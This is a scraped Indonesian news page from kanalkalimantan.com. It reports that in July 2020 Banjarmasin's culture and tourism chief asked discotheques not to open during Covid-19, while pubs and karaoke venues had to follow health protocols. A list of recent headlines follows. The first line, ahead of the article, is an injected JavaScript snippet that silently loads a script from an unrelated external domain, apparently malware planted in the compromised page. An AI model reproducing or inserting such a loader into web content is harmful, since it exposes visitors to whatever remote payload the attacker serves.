(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Diskotik Tak Boleh Buka Pub dan Karaoke Yes, Ini Penjelasan Kadisbudpar Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Kendati masih masa pandemi Covid-19, beberapa tempat hiburan malam (THM) di kota Banjarmasin membuka operasional. Ini terbukti dengan razia aparat Satpol PP Kota Banjarmasin mendapati ada pengunjung THM yang tidak mematuhi protokol kesehatan.

Lantas, apakah diperbolehkan THM beroperasi kendati kasus Covid-19 di Kota Banjarmasin belum menunjukkan adanya penurunan? Ditemui di kantor, Rabu (15/7/2020) pagi, Kepala Dinas Kebudayaan dan Pariwisata (Disbudpar) Kota Banjarmasin Ekhsan Al Haque mengatakan, dari perspektif jajarannya, sejauh ini masih sebatas mengimbau pengelola THM untuk tidak beroperasi terlebih dahulu.

Baca juga: Pub Disulap Diskotik? Pengelola Ngaku Mainkan Musik Progresif

“Kita mengimbau kepada pelaku usaha (THM), kalau bisa untuk tidak buka dulu. Kalaupun (harus) buka, maka harus menerapkan protokol kesehatan,” kata Ekhsan.

Ia menambahkan, beberapa waktu lalu pihaknya memanggil sejumlah pengelola THM. Di mana, Disbudpar Kota Banjarmasin mengimbau kepada pengelola THM untuk tidak mengoperasikan THM terlebih dahulu.

 

“Surat edaran kita itu belum pernah dicabut, ya. Artinya, (hanya) bersifat imbauan. Berbeda ketika saat PSBB (pembatasan sosial berskala besar) kemarin memang sudah diwajibkan untuk tidak buka,” kata Ekhsan.

THM yang tidak boleh beroperasi pun, saat ini baru sebatas diskotik. Sedangkan untuk pub maupun karaoke tidak diatur dalam kesepakatan dengan pengelola THM beberapa waktu lalu.

Kadisbudpar Kota Banjarmasin Ekhsan Al Haque. foto: fikri

Kendati begitu, Ekhsan menyebutkan bahwa pengelola THM diharuskan untuk menaati protokol kesehatan. Seperti menyediakan tempat cuci tangan, menjaga jarak antar pengunjung THM dan menyemprotkan disinfektan di dalam ruang THM.

Di samping itu, Ekhsan menambahkan bahwa apa yang dilakukan oleh Satpol PP Kota Banjarmasin dengan melakukan razia di dua THM berbeda di Kota Banjarmasin, hanya untuk melihat seberapa jauh penerapan protokol kesehatan.

“Kalau masih ada celah-celahnya, kita minta kepada para pengelola untuk lebih selektif. Artinya, kalau dulu berkerumun maka sekarang harus jaga jarak,” lugas Ekhsan. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

Al Ghifari

Recent Posts

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

20 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

1 hari ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

1 hari ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

2 hari ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

2 hari ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

2 hari ago

This website uses cookies.